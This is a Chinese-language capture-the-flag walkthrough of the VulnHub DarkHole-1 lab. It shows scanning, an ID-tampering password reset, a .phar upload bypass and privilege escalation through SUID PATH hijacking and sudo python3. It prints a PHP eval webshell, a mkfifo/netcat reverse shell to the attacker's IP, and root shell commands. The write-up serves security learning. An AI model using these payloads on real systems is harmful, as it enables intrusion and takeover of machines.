DarkHole-1
靶机描述
靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/
这个靶场的整体思路是:
先通过前面一些列的方法在目标主机上面留下后门,然后再通过蚁剑进行连接。连接后再进行反弹shell到攻击机kali上面。接下来进行的就是后渗透的步骤了。首先要进行提权。
方法1:
- 先通过命令参看是否有可利用的suid的权限,查询后发现在/home/john/下面有个toto可以进行利用。进去后发现执行toto返回的信息与id信息一致,然后可以根据这个判断,toto应该是里面写了脚本然后调用id。
- 这个时候只要通过修改环境变量的方式去提权(这里围绕id是因为,前面查询到有suid的是toto这个点)。因此我们可以可以在/tmp下面重新写一个id,然后再进行环境变量的覆盖,这样就会优先查询后面id的命令并执行,因为我们后面是通过toto执行的,并且执行会拥有文件所有者的权限,所以我们可以在id里面写入shell命令。然后执行toto,这个用户就会改变。但是在这个靶场当中,这个用户不是root用户。那么就需要我们再看看提权后是否有新的可以利用的点。然后就可发现在原本不可以查看的password的内容现在可以进行查看,在这里面有个密码。这个时候尝试用这个密码切换到root用户,失败。
- 现在关于suid的利用没有什么可以用的这个时候看看sudo是否有可以利用的,用sudo -l查看,用之前查出来的密码。发现这里,john 被授权以 root 身份运行
/usr/bin/python3 /home/john/file.py。,然后我们查看脚本中的内容,发现是空的,因此我们构建shell脚本(但是这里的脚本需要用python的格式进行书写),然后执行这个脚本就可以获取到root权限(用root的身份)。
方法二:可以利用内核漏洞,然后根据使用的系统查询是否有公开的exp。
一、搭建靶机环境
攻击机Kali:
IP地址:192.168.184.128
靶机:
IP地址:192.168.184.142
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I(大写的i) eth0 -l (指定网卡扫)
arp-scan -I eth0 -l

方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口
2.1.3 尝试访问靶机网页
2.1.4 目录扫描
dirb http://192.168.184.142/
查看相关URL


ht

2.2枚举漏洞
22 端口分析
一般只能暴力破解,暂时没有合适的字典
80 端口分析
访问 80 端口
可以发现有一个登陆页面,点击“login”

尝试登陆失败。点击“Sign up now”,注册一个账户

有两个功能,一个是修改账户信息,可能存在 SQL 注入漏洞,一个是修改密码,可能存在逻
辑漏洞,比如任意密码修改。
测试 SQL 注入漏洞失败
尝试将用户名改为各种特殊字符,点击 Update,没有发现注入漏洞

抓点击 Update 数据包,使用 sqlmap 跑一下
POST /dashboard.php?id=2 HTTP/1.1
Host: 192.168.184.142
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.184.142
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.184.142/dashboard.php?id=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qpovp4jq6dgdt28tsvraqsj1ik
Connection: closeusername=test&email=1%40qq.com
将数据包保存为文件,测试,没有成功
测试逻辑漏洞-密码重置成功
测试修改密码,抓包,分析数据包
可以发现数据包中内容,只有密码和 ID,可以尝试修改 ID,看看是否可以修改其他账户的
密码,比如 id=1,可能是管理员的密码,使用 Burp 的 repeater 模块重发数据包修改 id=1 密码

尝试登陆 admin,密码为 123

成功登陆,可以发现多了一个上传的功能。
2.3漏洞利用
2.3.1 文件上传漏洞利用
尝试上传文件 shell.php,没有成功,

伪造图片头,上传也是失败
GIF89a
<?php @eval($_POST["cmd"]); ?>

更改一下后缀试试,貌似上传成功了,无法正常访问,而且无法连接shell


尝试修改扩展名为 phar,上传文件 test.phar,成功上传,且正常访问
h
成功连接shell

2.3.2 上传 php 反向 shell
在蚁剑上的虚拟终端非常非常不好用,具体原因我也不是很清楚,既然这样,咱们反向shell一波

在kali中运行 locate webshell搜索 webshell,可以找到

☁ kali cp /usr/share/webshells/php/php-reverse-shell.php ./test2.phar

访问上传的 phar 文件,nc 会反弹 shell
反弹 shell 之后,切换到 bashshell:python -c 'import pty;pty.spawn("/bin/bash")'

换python3试试,python3 -c 'import pty;pty.spawn("/bin/bash")',成功进入bashshell
输入id查看用户及所属用户组
www-data@darkhole:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
上面的使用的kali自带的反弹shell进行,也可以使用:
被攻击机上面运行:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.139.130 5566 >/tmp/f(好用)攻击机输入:nc -lvvp 4444显示交互shell:python3 -c 'import pty; pty.spawn("/bin/bash")'
2.4权限提升
2.4.1 寻找 suid 权限程序提权
在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null
www-data@darkhole:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
....
/home/john/toto
/snap/snapd/12398/usr/lib/snapd/snap-confine
/snap/core18/2074/bin/mount
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2074/usr/lib/openssh/ssh-keysign
发现一个程序:/home/john/toto
切换到 john 目录:执行 toto,可以发现返回信息和 id 命令一致
www-data@darkhole:/home/john$ ./toto
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
其他没有发现(在 https://gtfobins.github.io/对比)
2.4.2 命令劫持提权
我们可以尝试将命令劫持,自己写一个 id 命令脚本,加入到环境变量 PATH 中
cd /tmp
# 切换到/tmp 目录
echo "/bin/bash" > id
# 将命令写入文件 id 中
chmod +x id
# 修改文件权限,增加执行权限
export PATH=/tmp:$PATH # 添加/tmp 目录到 PATH 变量中
which id
# 查看 id 命令的路径
对上面的修改环境变量的进行讲解
切换到/home/john 文件夹,执行./toto,就会启动一个 bash,这个 bash 应该就会切换 shell(为什么执行toto会触发id的)
执行之后,可以发现,shell 切换了,变成了 john,查看文件,可以进行查看 user.txt
john@darkhole:/home/john$ cat user.txt
cat user.txt
DarkHole{You_Can_DO_It}
查看password 对下面的内容进行讲解的用法
john@darkhole:/home/john$ cat password
cat password
root123
可以看到一个密码:root123
尝试切换到 root,输入密码 root123,结果失败
查看当前用户 john 的 sudo 权限,输入密码 root123
john@darkhole:/home/john$ sudo -l
sudo -l
[sudo] password for john: root123Matching Defaults entries for john on darkhole:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser john may run the following commands on darkhole:(root) /usr/bin/python3 /home/john/file.py
可以看到 sudo 权限可以使用 python3 执行/home/john/file.py
查看 file.py,发现是空的
将代码写入到 file.py:echo 'import os;os.system("/bin/bash")' > file.py
john@darkhole:/home/john$ echo 'import os;os.system("/bin/bash")' > file.py
echo 'import os;os.system("/bin/bash")' > file.py
使用 sudo 运行文件:sudo /usr/bin/python3 /home/john/file.py

最后获取到root权限。
